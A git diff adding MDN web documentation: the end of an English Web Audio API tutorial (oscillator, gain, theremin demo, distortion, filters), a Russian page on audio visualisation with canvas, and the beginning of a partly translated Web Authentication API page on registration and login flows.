+ <li>Created from raw PCM data: the audio context has methods to decode supported audio formats; see {{ domxref("AudioContext.createBuffer()") }}, {{ domxref("AudioContext.createBufferSource()") }}, and {{ domxref("AudioContext.decodeAudioData()") }}.</li>
+ <li>Taken from HTML media elements such as {{HTMLElement("video")}} or {{HTMLElement("audio")}}: see {{ domxref("AudioContext.createMediaElementSource()") }}.</li>
+ <li>Taken directly from a <a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> {{domxref("MediaStream")}} such as from a webcam or microphone. See {{ domxref("AudioContext.createMediaStreamSource()") }}.</li>
+</ul>
+
+<p>For this particular example we'll just create an oscillator to provide a simple tone for our source, and a gain node to control sound volume:</p>
+
+<pre class="brush: js">oscillator = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: To play a music file directly, you generally have to load the file using XHR, decode the file into a buffer, and then feed that buffer into a buffer source. See this <a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L48-L68">example from Voice-change-O-matic</a>.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Scott Michaud has written a useful helper library for loading and decoding one or more audio samples, called <a href="https://github.com/ScottMichaud/AudioSampleLoader">AudioSampleLoader</a>. This can help simplify the XHR/buffering process described in the above note.</p>
+</div>
+
+<h3 id="Linking_source_and_destination_together">Linking source and destination together</h3>
+
+<p>To actually output the tone through your speakers, you need to link them together. This is done by calling the <code>connect</code> method on the node you want to connect from, which is available on most node types. The node that you want to connect to is given as the argument of the <code>connect</code> method.</p>
+
+<p>The default output mechanism of your device (usually your device speakers) is accessed using {{ domxref("AudioContext.destination") }}. To connect the oscillator, gain node and destination together, we would use the following:</p>
+
+<pre class="brush: js">oscillator.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+</pre>
+
+<p>In a more complex example (such as the <a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a>), you can chain together as many nodes as you want. For example:</p>
+
+<pre class="brush: js">source = audioCtx.createMediaStreamSource(stream);
+source.connect(analyser);
+analyser.connect(distortion);
+distortion.connect(biquadFilter);
+biquadFilter.connect(convolver);
+convolver.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+</pre>
+
+<p>This would create an audio graph like this:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7949/voice-change-o-matic-graph.png" style="display: block; height: 563px; margin: 0px auto; width: 232px;">You can also link multiple nodes to one node, for example if you wanted to mix multiple audio sources together, passing them all through a single effect node, like a gain node.</p>
+
+<div class="note">
+<p><strong>Note</strong>: From Firefox 32 onwards, the integrated Firefox Developer Tools include a <a href="/en-US/docs/Tools/Web_Audio_Editor">Web Audio Editor</a>, which is very useful for debugging web audio graphs.</p>
+</div>
+
+<h3 id="Playing_our_sound_and_setting_a_pitch">Playing our sound and setting a pitch</h3>
+
+<p>Now that the audio graph is set up, we can set property values and invoke methods on our audio nodes to adjust the effect they have on the sound. In this simple example we can set a specific pitch in hertz for our oscillator, set it to a specific type, and tell our sound to play like so:</p>
+
+<pre class="brush: js">oscillator.type = 'sine'; // sine wave — other values are 'square', 'sawtooth', 'triangle' and 'custom'
+oscillator.frequency.value = 2500; // value in hertz
+oscillator.start();
+</pre>
+
+<p>In our Violent Theremin example we actually specify a max gain and frequency value:</p>
+
+<pre class="brush: js">var WIDTH = window.innerWidth;
+var HEIGHT = window.innerHeight;
+
+var maxFreq = 6000;
+var maxVol = 1;
+
+var initialFreq = 3000;
+var initialVol = 0.5;
+
+// set options for the oscillator
+
+oscillator.type = 'sine'; // sine wave — other values are 'square', 'sawtooth', 'triangle' and 'custom'
+oscillator.frequency.value = initialFreq; // value in hertz
+oscillator.start();
+
+gainNode.gain.value = initialVol;
+</pre>
+
+<p>Then we set a new value of frequency and pitch every time the mouse cursor is moved, based on the current mouse X and Y value as a percetage of the maximum frequency and gain:</p>
+
+<pre class="brush: js">// Mouse pointer coordinates
+
+var CurX;
+var CurY;
+
+// Get new mouse pointer coordinates when mouse is moved
+// then set new gain and putch values
+
+document.onmousemove = updatePage;
+
+function updatePage(e) {
+    CurX = (window.Event) ? e.pageX : event.clientX + (document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft);
+    CurY = (window.Event) ? e.pageY : event.clientY + (document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop);
+
+    oscillator.frequency.value = (CurX/WIDTH) * maxFreq;
+    gainNode.gain.value = (CurY/HEIGHT) * maxVol;
+
+    canvasDraw();
+}
+</pre>
+
+<h3 id="A_simple_canvas_visualization">A simple canvas visualization</h3>
+
+<p>A <code>canvasDraw()</code> function is also invoked after each mouse movement, this draws a little cluster of circles where the mouse pointer currently is, the size and colour of which are based on the frequency/gain values.</p>
+
+<pre class="brush: js">function random(number1,number2) {
+  var randomNo = number1 + (Math.floor(Math.random() * (number2 - number1)) + 1);
+  return randomNo;
+}
+
+var canvas = document.querySelector('.canvas');
+canvas.width = WIDTH;
+canvas.height = HEIGHT;
+
+var canvasCtx = canvas.getContext('2d');
+
+function canvasDraw() {
+  rX = CurX;
+  rY = CurY;
+  rC = Math.floor((gainNode.gain.value/maxVol)*30);
+
+  canvasCtx.globalAlpha = 0.2;
+
+  for(i=1;i&lt;=15;i=i+2) {
+    canvasCtx.beginPath();
+    canvasCtx.fillStyle = 'rgb(' + 100+(i*10) + ',' + Math.floor((gainNode.gain.value/maxVol)*255) + ',' + Math.floor((oscillator.frequency.value/maxFreq)*255) + ')';
+    canvasCtx.arc(rX+random(0,50),rY+random(0,50),rC/2+i,(Math.PI/180)*0,(Math.PI/180)*360,false);
+    canvasCtx.fill();
+    canvasCtx.closePath();
+  }
+}</pre>
+
+<h3 id="Muting_the_theremin">Muting the theremin</h3>
+
+<p>When the Mute button is pressed, the function seen below is invoked, which disconnects the gain node from the destination node, effectively breaking the graph up so no sound can be produced. Pressing it again reverses the effect.</p>
+
+<pre class="brush: js">var mute = document.querySelector('.mute');
+
+mute.onclick = function() {
+  if(mute.id == "") {
+    gainNode.disconnect(audioCtx.destination);
+    mute.id = "activated";
+    mute.innerHTML = "Unmute";
+  } else {
+    gainNode.connect(audioCtx.destination);
+    mute.id = "";
+    mute.innerHTML = "Mute";
+  }
+}
+</pre>
+
+<h2 id="Other_node_options">Other node options</h2>
+
+<p>There are many other nodes you can create using the Web Audio API, and the good news is that, in general, they work in the same way as what we have already seen: you create a node, connect it to the other nodes in the graph, and then manipulate that node's properties and methods to affect the sound source in the way you want.</p>
+
+<p>We won't go through all of the available effects and so on; you can find details of how to use each one in the different interface reference pages of the {{ domxref("Web_Audio_API") }} reference. For now we'll just go through a couple of options.</p>
+
+<h3 id="Wave_shaper_nodes">Wave shaper nodes</h3>
+
+<p>You can create a wave shaper node using the {{ domxref("AudioContext.createWaveShaper") }} method:</p>
+
+<pre class="brush: js">var distortion = audioCtx.createWaveShaper();
+</pre>
+
+<p>This object must then be fed a mathmatically defined wave shape, which is applied to the base sound wave to create a distortion effect. These waves are not that easy to figure out, and the best way to start is to just search the Web for algorithms. For example, we found this on <a href="http://stackoverflow.com/questions/22312841/waveshaper-node-in-webaudio-how-to-emulate-distortion">Stack Overflow</a>:</p>
+
+<pre class="brush: js">function makeDistortionCurve(amount) {
+  var k = typeof amount === 'number' ? amount : 50,
+    n_samples = 44100,
+    curve = new Float32Array(n_samples),
+    deg = Math.PI / 180,
+    i = 0,
+    x;
+  for ( ; i &lt; n_samples; ++i ) {
+    x = i * 2 / n_samples - 1;
+    curve[i] = ( 3 + k ) * x * 20 * deg / ( Math.PI + k * Math.abs(x) );
+  }
+  return curve;
+};
+</pre>
+
+<p>In the Voice-change-O-matic demo, we connect the <code>distortion</code> node up to the audio graph, then apply this to the distortion node when needed:</p>
+
+<pre class="brush: js">source.connect(analyser);
+analyser.connect(distortion);
+distortion.connect(biquadFilter);
+
+...
+
+distortion.curve = makeDistortionCurve(400);
+</pre>
+
+<h3 id="Biquad_filter">Biquad filter</h3>
+
+<p>The biquad filter has a number of options available inside it, and is created using the {{ domxref("AudioContext.createBiquadFilter") }} method:</p>
+
+<pre class="brush: js">var biquadFilter = audioCtx.createBiquadFilter();
+</pre>
+
+<p>The particular option used in the Voice-change-o-matic demo is a lowshelf filter, which basically provides a bass boost to the sound:</p>
+
+<pre class="brush: js">biquadFilter.type = "lowshelf";
+biquadFilter.frequency.value = 1000;
+biquadFilter.gain.value = 25;
+</pre>
+
+<p>Here we specify the type of filter, a frequency value, and a gain value. In the case of a lowshelf filter, all frequencies below the specified frequency have their gain increased by 25 decibels.</p>
+
+<h2 id="Other_things_inside_Web_Audio_API">Other things inside Web Audio API</h2>
+
+<p>The Web Audio API can do many other things other than audio visualization and spatializations (e.g. panning sound). We will cover other options in further articles, as this one has become long enough already!</p>
diff --git a/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html b/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html
new file mode 100644
index 0000000000..732bc7add5
--- /dev/null
+++ b/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html
@@ -0,0 +1,183 @@
+---
+title: Визуализация с Web Audio API
+slug: Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API
+translation_of: Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API
+---
+<div class="summary">
+<p>Одна из самых интересных фич Web Audio API — возможность извлекать частоту, форму волны и другие данные из звукового источника, которые могут быть использованы для создания визуализаций. Эта статья объясняет, как это можно сделать, и приводит несколько базовых юзкейсов.</p>
+</div>
+
+<div class="note">
+<p><strong>Примечание</strong>: Вы можете найти рабочие примеры всех фрагментов кода в нашей демонстрации <a href="https://mdn.github.io/voice-change-o-matic/">автоизменения голоса</a>.</p>
+</div>
+
+<h2 id="Основные_концепции">Основные концепции</h2>
+
+<p>Чтобы извлечь данные из вашего источника звука, вам понадобится {{ domxref("AnalyserNode") }}, созданный при помощи метода {{ domxref("AudioContext.createAnalyser()") }}, например:</p>
+
+<pre class="brush: js notranslate">var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var analyser = audioCtx.createAnalyser();
+</pre>
+
+<p>Затем этот узел подключается к вашему источнику звука где-то между получением звука и его обработкой, например:</p>
+
+<pre class="brush: js notranslate">source = audioCtx.createMediaStreamSource(stream);
+source.connect(analyser);
+analyser.connect(distortion);
+distortion.connect(audioCtx.destination);</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: вам не нужно подключать вывод анализатора к другому узлу для его работы, пока его ввод подключен к источнику, либо напрямую, либо через другой узел.</p>
+</div>
+
+<p>Затем анализатор захватит аудиоданные, используя быстрое преобразование Фурье (БПФ) в определенной частотной области, в зависимости от того, что вы укажете как значение свойства {{ domxref("AnalyserNode.fftSize") }} (если свойство не задано, то значение по умолчанию равно 2048).</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Вы так же можете указать значения минимума и максимума для диапазона масштабирования данных БПФ, используя {{ domxref("AnalyserNode.minDecibels") }} и {{ domxref("AnalyserNode.maxDecibels") }}, и разные константы усреднения данных с помощью {{ domxref("AnalyserNode.smoothingTimeConstant") }}. Прочтите эти страницы, чтобы получить больше информации о том как их использовать.</p>
+</div>
+
+<p>Чтобы получить данные, Вам нужно использовать методы {{ domxref("AnalyserNode.getFloatFrequencyData()") }} и {{ domxref("AnalyserNode.getByteFrequencyData()") }}, чтобы получить данные о частоте, и {{ domxref("AnalyserNode.getByteTimeDomainData()") }} и {{ domxref("AnalyserNode.getFloatTimeDomainData()") }} чтобы получить данные о форме волны.</p>
+
+<p>Эти методы копируют данные в указанный массив, поэтому Вам необходимо создать новый массив для хранения данных, прежде чем вызывать эти функции . Результат первой из них - числа типа float32, второй и третьей - uint8, поэтому стандартный массив JavaScript не подойдет для их хранения — следует использовать массивы {{ domxref("Float32Array") }} или {{ domxref("Uint8Array") }}, в зависимости от нужных Вам данных.</p>
+
+<p>Например, если параметр AnalyserNode.fftSize установлен на 2048, мы возвращаем значение {{ domxref("AnalyserNode.frequencyBinCount") }}, равное половине fft, затем вызываем Uint8Array() с frequencyBinCount в качестве длины — столько измерений мы произведем для данного размера fft.</p>
+
+<pre class="brush: js notranslate">analyser.fftSize = 2048;
+var bufferLength = analyser.frequencyBinCount;
+var dataArray = new Uint8Array(bufferLength);</pre>
+
+<p>Чтобы собрать данные и копировать их в массив, мы вызываем подходящий метод сбора данных, с массивом в качестве аргумента. Например:</p>
+
+<pre class="brush: js notranslate">analyser.getByteTimeDomainData(dataArray);</pre>
+
+<p>Теперь в массиве хранятся данные, описывающие звук в данный момент времени, и мы можем визуализировать их любым удобным образом, например с помощью холста HTML5: {{ htmlelement("canvas") }}.</p>
+
+<p>Давайте рассмотрим конкретные примеры:</p>
+
+<h2 id="Создание_формы_волныосциллографа">Создание формы волны/осциллографа</h2>
+
+<p>Чтобы визуализировать осциллограф (спасибо <a href="http://soledadpenades.com/">Soledad Penadés</a> за код в <a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L123-L167">Voice-change-O-matic</a>), мы сначала следуем шаблону, описанному в предыдущей секции, для создания буфера:</p>
+
+<pre class="brush: js notranslate">analyser.fftSize = 2048;
+var bufferLength = analyser.frequencyBinCount;
+var dataArray = new Uint8Array(bufferLength);</pre>
+
+<p>Затем, мы очищаем холст:</p>
+
+<pre class="brush: js notranslate">canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);</pre>
+
+<p>И определяем функцию <code>draw()</code>:</p>
+
+<pre class="brush: js notranslate">function draw() {</pre>
+
+<p>Здесь мы используем <code>requestAnimationFrame()</code> чтобы многократно вызывать эту функцию:</p>
+
+<pre class="brush: js notranslate">      drawVisual = requestAnimationFrame(draw);</pre>
+
+<p>Затем мы копируем данные в наш массив:</p>
+
+<pre class="brush: js notranslate">      analyser.getByteTimeDomainData(dataArray);</pre>
+
+<p>Устанавливаем заливку холста</p>
+
+<pre class="brush: js notranslate">      canvasCtx.fillStyle = 'rgb(200, 200, 200)';
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);</pre>
+
+<p>Затем устанавливаем ширину линий и цвет волны, которую мы хотим нарисовать, и начинаем рисовать путь</p>
+
+<pre class="brush: js notranslate">      canvasCtx.lineWidth = 2;
+      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
+
+      canvasCtx.beginPath();</pre>
+
+<p>Мы определяем ширину каждого отрезка в линии, деля длину холста на длину массива (равную FrequencyBinCount), затем определяем переменную x, задающую позицию, в которую необходимо перенести каждый отрезок.</p>
+
+<pre class="brush: js notranslate">      var sliceWidth = WIDTH * 1.0 / bufferLength;
+      var x = 0;</pre>
+
+<p>В цикле, мы задаем позицию небольшого отрезка волны для каждой точки в буфере на высоте, основанной на значении массива в этой точке, а затем перемещаем линию туда, где должен быть нарисован следующий отрезок:</p>
+
+<pre class="brush: js notranslate">      for(var i = 0; i &lt; bufferLength; i++) {
+
+        var v = dataArray[i] / 128.0;
+        var y = v * HEIGHT/2;
+
+        if(i === 0) {
+          canvasCtx.moveTo(x, y);
+        } else {
+          canvasCtx.lineTo(x, y);
+        }
+
+        x += sliceWidth;
+      }</pre>
+
+<p>Наконец, мы заканчиваем линию в середине правой стороны холста и рисуем, используя установленные цвет и ширину линий:</p>
+
+<pre class="brush: js notranslate">      canvasCtx.lineTo(canvas.width, canvas.height/2);
+      canvasCtx.stroke();
+    };</pre>
+
+<p>В конце концов, мы вызываем функцию <code>draw()</code> , запускающую весь процесс:</p>
+
+<pre class="brush: js notranslate">    draw();</pre>
+
+<p>Мы получаем изображение волны, обновляющееся несколько раз в секунду:</p>
+
+<p><img alt="a black oscilloscope line, showing the waveform of an audio signal" src="https://mdn.mozillademos.org/files/7977/wave.png" style="display: block; height: 96px; margin: 0px auto; width: 640px;"></p>
+
+<h2 id="Создание_частотной_гистограммы">Создание частотной гистограммы</h2>
+
+<p>Еще одна визуфлизация, которую можно создать, - это частотные дифграммы (такие, как строит Winamp). В проекте Voice-change-O-matic есть реализация такой диаграммы. Давайте посмотрим на нее.</p>
+
+<p>Сначала мы снова создаем анализатор и массив для данных, затем очищаем холст при помощи <code>clearRect()</code>. Единственное отличие от того, что мы делали раньше - ы том, что мы можем установить намного меньший размер fft. Таким образом, каждый столбец в диаграмме будет выглядет как столбец, а не как тонкая полоска.</p>
+
+<pre class="brush: js notranslate">    analyser.fftSize = 256;
+    var bufferLength = analyser.frequencyBinCount;
+    console.log(bufferLength);
+    var dataArray = new Uint8Array(bufferLength);
+
+    canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);</pre>
+
+<p>Затем мы запускаем функцию <code>draw()</code>  и задаем цикл при помощи <code>requestAnimationFrame()</code> таким образом, чтобы в каждом кадре анимации данные обновлялись.</p>
+
+<pre class="brush: js notranslate">    function draw() {
+      drawVisual = requestAnimationFrame(draw);
+
+      analyser.getByteFrequencyData(dataArray);
+
+      canvasCtx.fillStyle = 'rgb(0, 0, 0)';
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);</pre>
+
+<p>Затем мы устанавливаем значение <code>barWidth</code> , равное ширине холста, деленной на количество столбцов (длину буфера). Однако, мы домножаем ширину на 2.5, поскольку на большинстве частот звука не будет, поскольку большинство звуков, которые мы слышим в повседневной жизни, находятся в определенных, достаточно низких, диапазонах частот. Нам нет смысла показывать множество пустых частот, поэтому мы просто сдвигаем столбцы, соответствующие наиболее распространенным частотам.</p>
+
+<p>Мы также устанавливаем значение переменных <code>barHeight</code> и <code>x</code> , задающей то, где на холсте должен быть размещен каждый столбец.</p>
+
+<pre class="brush: js notranslate">      var barWidth = (WIDTH / bufferLength) * 2.5;
+      var barHeight;
+      var x = 0;</pre>
+
+<p>Как и раньше, мы в цикле проходим по каждому значению в  <code>dataArray</code>. Для каждого значения мы устанавливаем высоту <code>barHeight</code> на уровне значения в массиве, устанавливаем заливку в зависимости от <code>barHeight</code> (Чем выше столбец, тем он ярче), и рисуем столбец в <code>x</code> пикселях от левой стороны холста. Ширина столбца равна <code>barWidth</code> , а выстоа - <code>barHeight/2</code> (чтобы столбцы помещались на холсте, мы уменьшили высоту в два раза)</p>
+
+<p>Одна переменная, требующая объяснения, - это вертикальный сдвиг, с которым мы рисуем каждый столбец: <code>HEIGHT-barHeight/2</code>. Это делается для того, чтобы столбцы начинались в нижней части холста, а не в верхней, как было бы, если бы вертикальное положение было установлена в 0 0. Поэтому мы каждый раз устанавливаем вертикальное поожение в разность высоты холста и <code>barHeight/2</code>, чтобы столбцы начинались где-то между верхом и низом холста и заканчивались снизу.</p>
+
+<pre class="brush: js notranslate">      for(var i = 0; i &lt; bufferLength; i++) {
+        barHeight = dataArray[i]/2;
+
+        canvasCtx.fillStyle = 'rgb(' + (barHeight+100) + ',50,50)';
+        canvasCtx.fillRect(x,HEIGHT-barHeight/2,barWidth,barHeight);
+
+        x += barWidth + 1;
+      }
+    };</pre>
+
+<p>Снова, мы вызываем функцию draw() в конце кода, чтобы запустить процесс.</p>
+
+<pre class="brush: js notranslate">    draw();</pre>
+
+<p>Этот код дает нам следующий результат:</p>
+
+<p><img alt="a series of red bars in a bar graph, showing intensity of different frequencies in an audio signal" src="https://mdn.mozillademos.org/files/7975/bar-graph.png" style="height: 157px; width: 1260px;"></p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Примеры, используемые в данной статье, используют {{ domxref("AnalyserNode.getByteFrequencyData()") }} и {{ domxref("AnalyserNode.getByteTimeDomainData()") }}. Примеры работы с {{ domxref("AnalyserNode.getFloatFrequencyData()") }} и {{ domxref("AnalyserNode.getFloatTimeDomainData()") }} можно найти в демо <a href="http://mdn.github.io/voice-change-o-matic-float-data/">Voice-change-O-matic-float-data</a> (Вы также можете посмотреть <a href="https://github.com/mdn/voice-change-o-matic-float-data">исходный код</a>) — это то же самое, что и <a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a>, но здесь используются данные типа float, а не unsigned vyte.</p>
+</div>
diff --git a/files/ru/web/api/web_authentication_api/index.html b/files/ru/web/api/web_authentication_api/index.html
new file mode 100644
index 0000000000..19162bf4f9
--- /dev/null
+++ b/files/ru/web/api/web_authentication_api/index.html
@@ -0,0 +1,241 @@
+---
+title: Web Authentication API
+slug: Web/API/Web_Authentication_API
+translation_of: Web/API/Web_Authentication_API
+---
+<div>{{securecontext_header}}{{DefaultAPISidebar("Web Authentication API")}}</div>
+
+<p class="summary">API Web Authentication - расширение <a href="/en-US/docs/Web/API/Credential_Management_API">Credential Management API</a>, добавляющее аутентификацию с использованием криптографии с открытым ключом, вход без пароля и/или надёжный второй фактор, не требующий SMS.</p>
+
+<h2 id="Принципы_и_использование_веб-аутентификации">Принципы и использование веб-аутентификации</h2>
+
+<p>API Web Authentication (также называемое WebAuthn) использует {{interwiki("wikipedia", "Public-key_cryptography", "ассметричную криптографию (систему с открытым ключом)")}} вместо паролей или SMS-сообщений для регистрации, входа и {{interwiki("wikipedia", "Multi-factor_authentication", "двухфакторной аутентификации")}} на веб-сайтах. Это устраняет многие значительные проблемы безопасности, такие как {{interwiki("wikipedia", "Phishing", "фишинг")}}, {{interwiki("wikipedia", "Data_breach", "утечки данных")}} и атаки на SMS или иные методы двухфакторной аутентификации, при этом сильно упрощая использование, т.к. пользователям не нужно запоминать десятки сложных паролей.</p>
+
+<p>На многих сайтах уже есть страницы для регистрации и входа в существующие учетные записи, и Web Authentication API может быть как заменой, так и дополнением для них. Как и остальные виды <a href="/en-US/docs/Web/API/Credential_Management_API">Credential Management API</a>, Web Authentication API содержит два базовых метода: для регистрации и для входа:</p>
+
+<ul>
+ <li>{{domxref("CredentialsContainer.create()", "navigator.credentials.create()")}} - при использовании с опцией <code>publicKey</code> создает новый набор учетных данных для регистрации нового аккаунта или добавления пары ключей к уже существующему.</li>
+ <li>{{domxref("CredentialsContainer.get()", "navigator.credentials.get()")}} - при использовании с опцией <code>publicKey</code> использует существующий набор учетных данных для аутентификации в сервисе в качестве основного способа входа или второго фактора.</li>
+</ul>
+
+<p><strong>Обратите внимание</strong>, и <code>create()</code>, и <code>get()</code> работают только в <a href="/en-US/docs/Web/Security/Secure_Contexts">Secure Context</a> (например, когда подключение к серверу происходит через https или сервер работает на localhost).</p>
+
+<p>In their most basic forms, both create() and get() receive a very large random number called a challenge from the server and they return the challenge signed by the private key back to the server. This proves to the server that a user is in possession of the private key required for authentication without revealing any secrets over the network.</p>
+
+<p>In order to understand how the create() and get() methods fit into the bigger picture, it is important to understand that they sit between two components that are outside the browser:</p>
+
+<ol>
+ <li><strong>Server</strong> - the Web Authentication API is intended to register new credentials on a server (also referred to as a service or a <a href="https://en.wikipedia.org/wiki/Relying_party">relying party</a>) and later use those same credentials on that same server to authenticate a user.</li>
+ <li><strong>Authenticator</strong> - the credentials are created and stored in a device called an authenticator. This is a new concept in authentication: when authenticating using passwords, the password is stored in a user's brain and no other device is needed; when authenticating using web authentication, the password is replaced with a key pair that is stored in an authenticator. The authenticator may be embedded into an operating system, such as Windows Hello, or may be a physical token, such as a USB or Bluetooth Security Key.</li>
+</ol>
+
+<h3 id="Регистрация">Регистрация</h3>
+
+<p>A typical registration process has six steps, as illustrated in Figure 1 and described further below. This is a simplification of the data required for the registration process that is only intended to provide an overview. The full set of required fields, optional fields, and their meanings for creating a registration request can be found in the {{domxref("PublicKeyCredentialCreationOptions")}} dictionary. Likewise, the full set of response fields can be found in the {{domxref("PublicKeyCredential")}} interface (where {{domxref("PublicKeyCredential.response")}} is the {{domxref("AuthenticatorAttestationResponse")}} interface). Note most JavaScript programmers that are creating an application will only really care about steps 1 and 5 where the create() function is called and subsequently returns; however, steps 2, 3, and 4 are essential to understanding the processing that takes place in the browser and authenticator and what the resulting data means.</p>
+
+<p><img alt="Web Authentication API registration component and dataflow diagram" src="https://mdn.mozillademos.org/files/16189/WebAuthn_Registration_r4.png" style="height: 547px; width: 1134px;"></p>
+
+<p><em>Figure 1 - a diagram showing the sequence of actions for a web authentication registration and the essential data associated with each action.</em></p>
+
+<p>The registration steps are:</p>
+
+<ol start="0">
+ <li><strong>Приложение запрашивает регистрацию</strong> - The application makes the initial registration request. The protocol and format of this request is outside of the scope of the Web Authentication API.</li>
+ <li><strong>Server Sends Challenge, User Info, and Relying Party Info</strong> - The server sends a challenge, user information, and relying party information to the JavaScript program. The protocol for communicating with the server is not specified and is outside of the scope of the Web Authentication API. Typically, server communications would be <a href="/en-US/docs/Glossary/REST">REST</a> over https (probably using <a href="/en-US/docs/User:maybe/webidl_mdn/XMLHttpRequest_API">XMLHttpRequest</a> or <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>), but they could also be <a href="/en-US/docs/Glossary/SOAP">SOAP</a>, <a href="https://tools.ietf.org/html/rfc2549">RFC 2549</a> or nearly any other protocol provided that the protocol is secure. The parameters received from the server will be passed to the <a href="/en-US/docs/Web/API/CredentialsContainer/create">create()</a> call, typically with little or no modification and returns a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a> that will resolve to a {{domxref("PublicKeyCredential")}} containing an {{domxref("AuthenticatorAttestationResponse")}}. <strong>Note that it is absolutely critical that the challenge be a buffer of random information (at least 16 bytes) and it MUST be generated on the server in order to ensure the security of the registration process.</strong></li>
+ <li><strong>Браузер вызвает authenticatorMakeCredential() для аутентификатора</strong> - Internally, the browser will validate the parameters and fill in any defaults, which become the {{domxref("AuthenticatorResponse.clientDataJSON")}}. One of the most important parameters is the origin, which is recorded as part of the clientData so that the origin can be verified by the server later. The parameters to the create() call are passed to the authenticator, along with a SHA-256 hash of the clientDataJSON (only a hash is sent because the link to the authenticator may be a low-bandwidth NFC or Bluetooth link and the authenticator is just going to sign over the hash to ensure that it isn't tampered with).</li>
+ <li><strong>Аутентификатор создает новую пару ключей и Attestation</strong> - Before doing anything, the authenticator will typically ask for some form of user verification. This could be entering a PIN, using a fingerprint, doing an iris scan, etc. to prove that the user is present and consenting to the registration. After the user verification, the authenticator will create a new asymmetric key pair and safely store the private key for future reference. The public key will become part of the attestation, which the authenticator will sign over with a private key that was burned into the authenticator during its manufacturing process and that has a certificate chain that can be validated back to a root of trust.</li>
+ <li><strong>Аутентификатор передает информацию в браузер</strong> - The new public key, a globally unique credential id, and other attestation data are returned to the browser where they become the attestationObject.</li>
+ <li><strong>Браузер создаёт итоговый набор данных, приложение отвечает серверу</strong> - The create() Promise resolves to an {{domxref("PublicKeyCredential")}}, which has a {{domxref("PublicKeyCredential.rawId")}} that is the globally unique credential id along with a response that is the {{domxref("AuthenticatorAttestationResponse")}} containing the {{domxref("AuthenticatorResponse.clientDataJSON")}} and {{domxref("AuthenticatorAttestationResponse.attestationObject")}}. The {{domxref("PublicKeyCredential")}} is sent back to the server using any desired formatting and protocol (note that the ArrayBuffer properties need to be be base64 encoded or similar).</li>
+ <li><strong>Сервер проверят и завершает регистрацию</strong> - Finally, the server is required to perform a series of checks to ensure that the registration was complete and not tampered with. These include:
+  <ol>
+   <li>Verifying that the challenge is the same as the challenge that was sent</li>
+   <li>Ensuring that the origin was the origin expected</li>
+   <li>Validating that the signature over the clientDataHash and the attestation using the certificate chain for that specific model of the authenticator</li>
+  </ol>
+  A complete list of validation steps <a href="https://w3c.github.io/webauthn/#registering-a-new-credential">can be found in the Web Authentication API specification</a>. Assuming that the checks pan out, the server will store the new public key associated with the user's account for future use -- that is, whenever the user desires to use the public key for authentication.</li>
+</ol>
+
+<h3 id="Аутентификация">Аутентификация</h3>
+
+<p>After a user has registered with web authentication, they can subsequently authenticate (a.k.a. - login or sign-in) with the service. The authentication flow looks similar to the registration flow, and the illustration of actions in Figure 2 may be recognizable as being similar to the illustration of registration actions in Figure 1. The primary differences between registration and authentication are that: 1) authentication doesn't require user or relying party information; and 2) authentication creates an assertion using the previously generated key pair for the service rather than creating an attestation with the key pair that was burned into the authenticator during manufacturing. Again, the description of authentication below is a broad overview rather than getting into all the options and features of the Web Authentication API. The specific options for authenticating can be found in the {{domxref("PublicKeyCredentialRequestOptions")}} dictionary, and the resulting data can be found in the {{domxref("PublicKeyCredential")}} interface (where {{domxref("PublicKeyCredential.response")}} is the {{domxref("AuthenticatorAssertionResponse")}} interface) .</p>
+
+<p><img alt="WebAuthn authentication component and dataflow diagram" src="https://mdn.mozillademos.org/files/15802/MDN%20Webauthn%20Authentication%20(r1).png" style="height: 527px; width: 1067px;"></p>
+
+<p><em>Figure 2 - similar to Figure 1, a diagram showing the sequence of actions for a web authentication and the essential data associated with each action.</em></p>
+
+<ol start="0">
+ <li><strong>Приложение запрашивает аутентификацию</strong> - The application makes the initial authentication request. The protocol and format of this request is outside of the scope of the Web Authentication API.</li>
+ <li><strong>Server Sends Challenge</strong> - The server sends a challenge to the JavaScript program. The protocol for communicating with the server is not specified and is outside of the scope of the Web Authentication API. Typically, server communications would be <a href="/en-US/docs/Glossary/REST">REST</a> over https (probably using <a href="/en-US/docs/User:maybe/webidl_mdn/XMLHttpRequest_API">XMLHttpRequest</a> or <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>), but they could also be <a href="/en-US/docs/Glossary/SOAP">SOAP</a>, <a href="https://tools.ietf.org/html/rfc2549">RFC 2549</a> or nearly any other protocol provided that the protocol is secure. The parameters received from the server will be passed to the <a href="/en-US/docs/Web/API/CredentialsContainer/get">get()</a> call, typically with little or no modification. <strong>Note that it is absolutely critical that the challenge be a buffer of random information (at least 16 bytes) and it MUST be generated on the server in order to ensure the security of the authentication process.</strong></li>
